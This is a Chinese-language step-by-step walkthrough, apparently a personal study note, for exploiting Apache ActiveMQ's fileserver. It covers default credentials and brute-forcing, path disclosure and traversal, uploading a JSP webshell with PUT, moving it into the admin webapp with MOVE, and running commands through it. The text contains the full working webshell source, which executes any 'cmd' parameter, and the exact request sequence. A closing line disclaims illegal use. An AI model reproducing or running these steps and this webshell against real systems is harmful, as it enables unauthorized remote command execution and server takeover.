一、获取ActiveMQ的登录账号与密码
- 默认密码admin:admin 在数据包中为
Basic YWRtaW46YWRtaW4=
- 若密码错误,需要在后续的上传webshell的数据包进行暴力破解,密码为base64加密(数据包返回为204即为正确用户名密码)
二、登录后获取ActiveMQ的存储路径
- 访问
http://ip/admin/test/systemProperties.jsp
,获取activemq.home的参数,默认为/opt/activemq
此环境一般搭建在linux系统,若搭建在Windows系统,路径一般为无法解析,此时可以在下一步通过路径拼写将webshell绕到上一级目录(
..%5C%5Cadmin%5C%5Ctest%5C%5C
)
三、上传webshell
- 访问http://ip/fileserver/
- 抓包后进行上传webshell,改为PUT方法,回显204即为上传成功(上述暴力破解可以在此处进行),webshell如下:
<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>
- 此时可以访问一下http://ip/fileserver/2.jsp验证是否上传成功。
四、移动webshell
- 将第三步上传的webshell移动到admin目录下
- 此处在上一个数据包的基础上,修改方法为
MOVE
,添加刚才上传的路径Destination:file:/opt/activemq/webapps/admin/2.jsp
(此路径为第二步获取的默认路径+/webapps/admin/2.jsp)
因尝试多次,此处上传与移动的3.jsp为其中一次的尝试,与下文的截图2.jpg有冲突,读者需注意下
五、访问webshell并且执行命令
- 访问
http://ip/admin/2.jsp?cmd=whoami
- 访问
http://ip/admin/2.jsp?cmd=ls
六、其他
- 同样可以使用蚁剑制作webshell进行连接,将上述webshell替换即可,详细过程不再演示
七、题外话
- 仅仅是自己学习过程中遇到的一个漏洞,教程很多,此文章只是为了加深本人印象,对其进行总结,仅供学习参考使用,任何违法事情与本人无关。